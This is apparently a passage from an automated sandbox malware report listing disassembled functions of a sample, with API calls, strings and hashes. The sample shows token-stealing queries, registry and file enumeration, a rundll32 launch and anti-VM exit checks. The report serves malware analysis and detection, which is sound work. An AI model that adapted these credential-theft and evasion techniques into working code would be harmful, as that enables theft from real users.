Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 136f340d3def94dd6f6bc6e7af2fbddae3deb45c6c7debbe56f20a408c524ea1
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 136f340d3def94dd6f6bc6e7af2fbddae3deb45c6c7debbe56f20a408c524ea1
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountTokens, xrefs: 0040B28A
AccountId, xrefs: 0040B472
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B319

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 56e8ad0b25d89ae3b76a2f7cba7f93cd9ca78d0ea7e52e49510ac0c0e1e72ca3
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: 56e8ad0b25d89ae3b76a2f7cba7f93cd9ca78d0ea7e52e49510ac0c0e1e72ca3
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173C78), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173C18), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173C30), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173BE8), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173BB8), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04190908), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04174020), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173DC0), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173BD0), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173C00), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173C48), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04190B00), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04173D80), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,04190980), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

GetUserDefaultLangID.KERNEL32 ref: 004136E6

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,04190848,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,041908D8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,041908D8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 19e3f2ad90109acb9ecb49a28c3fe414203e82b8baa863b8814d0b1a2f2bc6c1
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 19e3f2ad90109acb9ecb49a28c3fe414203e82b8baa863b8814d0b1a2f2bc6c1
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,04196578,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,04196590,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.KERNEL32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 847608d34753723f8b6f2463fc12b18ad18eee0918edd14efbcc07672997e5c5
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 847608d34753723f8b6f2463fc12b18ad18eee0918edd14efbcc07672997e5c5
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,04196EF8,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,04198098,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,04197FD8), ref: 00411E2B

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04197790,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: 807d1a8c60ec46bf374704b59fd0ccc8b18b230b7b558d1a499820440742b74a
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: 807d1a8c60ec46bf374704b59fd0ccc8b18b230b7b558d1a499820440742b74a
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04197790,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

"" , xrefs: 004111DC
C:\Windows\system32\rundll32.dll, xrefs: 004110BF
.dll, xrefs: 00411054
<, xrefs: 004112AC

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: 4eb6d38009e4268714a703d91e073a73371bb23bb8bdfb4da96119e8d02b733f
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: 4eb6d38009e4268714a703d91e073a73371bb23bb8bdfb4da96119e8d02b733f
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,04196770), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,0418FA10), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,04196878), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: a8cdaff6348467220e46ecbe5bbad888972f2388953b3a41efaa7fa85cce1e20
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: a8cdaff6348467220e46ecbe5bbad888972f2388953b3a41efaa7fa85cce1e20
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 6BCBC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6BCBC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6BCBC969
GetSystemInfo.KERNEL32(?), ref: 6BCBC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6BCBC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6BCBC9E2

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2bf5dc0aa622b46dae497870cb4be6d3c24b771855ca83bcf73595450f9e3c5b
Instruction ID: 7e633e9c09e1ea1c83391180a8d5930d175180dc75626a1d5e6e0c1bb034baa1
Opcode Fuzzy Hash: 2bf5dc0aa622b46dae497870cb4be6d3c24b771855ca83bcf73595450f9e3c5b
Instruction Fuzzy Hash: 6421F931A512546BFB149B74DC84BAFB3A9FB46700F50051FFA16AB280FB74DE0487A0

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,041906A8), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

